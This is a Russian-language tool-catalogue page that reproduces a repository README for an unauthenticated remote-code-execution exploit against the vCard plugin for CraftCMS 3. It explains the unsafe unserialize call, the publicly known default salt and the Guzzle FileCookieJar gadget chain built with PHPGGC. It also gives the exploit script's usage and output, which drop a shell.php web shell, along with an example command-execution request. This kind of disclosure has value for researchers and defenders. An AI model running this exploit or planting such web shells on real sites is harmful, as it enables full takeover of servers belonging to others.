Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
craftcms-vcard-exploit — Этот репозиторий содержит сведения об уязвимости, обнаруженной в плагине «vCard» для CraftCMS 3. | Kitploit
Инструменты/GitLabGitLab/wguest/craftcms-vcard-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

Этот репозиторий содержит сведения об уязвимости, обнаруженной в плагине «vCard» для CraftCMS 3.

Репозиторий
1196 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость десериализации в плагине vCard для Craft CMS

В Craft CMS есть плагин для скачивания контактов в формате *.vcf под названием "vCard". Плагин можно посмотреть в репозитории Craft и на Github: Craft Plugin Store Github

Описание

Этот плагин принимает параметр, отправленный клиентом, расшифровывает значение с помощью openssl_decrypt, а затем передаёт полученную строку в PHP-функцию unserialize. Поскольку соль по умолчанию для шифрования доступна в репозитории, атакующий может использовать ту же логику для шифрования вредоносной сериализованной нагрузки.

Если у пользователя в настройках плагина задано изменённое значение "salt", то его необходимо будет передать как параметр Python-скрипту. Однако это значение останется неизменным, если плагин скачан из магазина плагинов или просто склонирован из репозитория. В веб-интерфейсе Craft нет возможности его изменить.

Использование скрипта

Запустите скрипт, указав ссылку vCard, которая запускает скачивание контактов. Удалите значение параметра vcard.

Пример: Пример ссылки для скачивания vcard: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

Тогда параметр для скрипта будет таким: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

Существует необязательное значение соли, которое можно указать. Все параметры показаны здесь:

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Требования

  • Python3

Скрипт был протестирован на Python 3.6

  • PHP CLI

Скрипт выполняет PHP-команду на хосте атакующего для шифрования полезной нагрузки. Поэтому необходимо установить php-cli. Эта атака была протестирована с PHP 7.2-cli и PHP 7.3-cli

Разбор уязвимости

Вот фрагмент кода, где происходит небезопасная десериализация (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

Параметр $optionsString — это значение URL-параметра "vcard", переданного клиентом. Оно проходит через функцию decrypt и затем десериализуется. Если клиент может воспроизвести шифрование, этот код становится уязвимым, так как напрямую десериализует данные, предоставленные пользователем.

Вот соответствующая функция шифрования (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

Единственное значение, которое необходимо знать атакующему, — это переменная $key, устанавливаемая выражением "VCard::$plugin->getSettings()->salt". Значение по умолчанию можно увидеть в репозитории: "s34s4L7" (config.php:26) Github

Если используется соль по умолчанию, атакующий может вызвать десериализацию любого класса в установке Craft.

Нам нужно найти класс-«гаджет» в стандартной установке Craft, который можно использовать в злонамеренных целях. Просмотр классов, имеющих магические функции __destruct или __wakeup, даёт достаточно небольшой список для анализа. Это можно сделать с помощью "grep -rni < path to web root > -e '__destruct'"

guzzlehttp имеет класс под названием "FileCookieJar", который, судя по всему, сохраняет файл, используя атрибут класса в качестве имени файла:

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

Изучение функции save показывает, что она записывает данные в путь к файлу в системе; и путь, и данные являются атрибутами класса и находятся под контролем атакующего. Логично, что при уничтожении этого объекта класса он записывает все свои cookie-файлы в атрибут имени файла для последующего восстановления или использования. Вот содержимое функции save, где file_put_contents является нашей целью (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

К счастью, нам не нужно вручную конструировать вредоносную нагрузку. Замечательный инструмент PHPGGC автоматизирует сериализацию класса Guzzle с полезной нагрузкой для использования в этой атаке.

Я использовал этот инструмент для создания базовой полезной нагрузки для эксплойта, хотя она будет немного изменяться в зависимости от имени файла. Также важно отметить, что при генерации новой нагрузки с помощью PHPGGC параметр "-f" обязательно должен быть использован, иначе магическая функция __destruct не сработает:

Скачать инструмент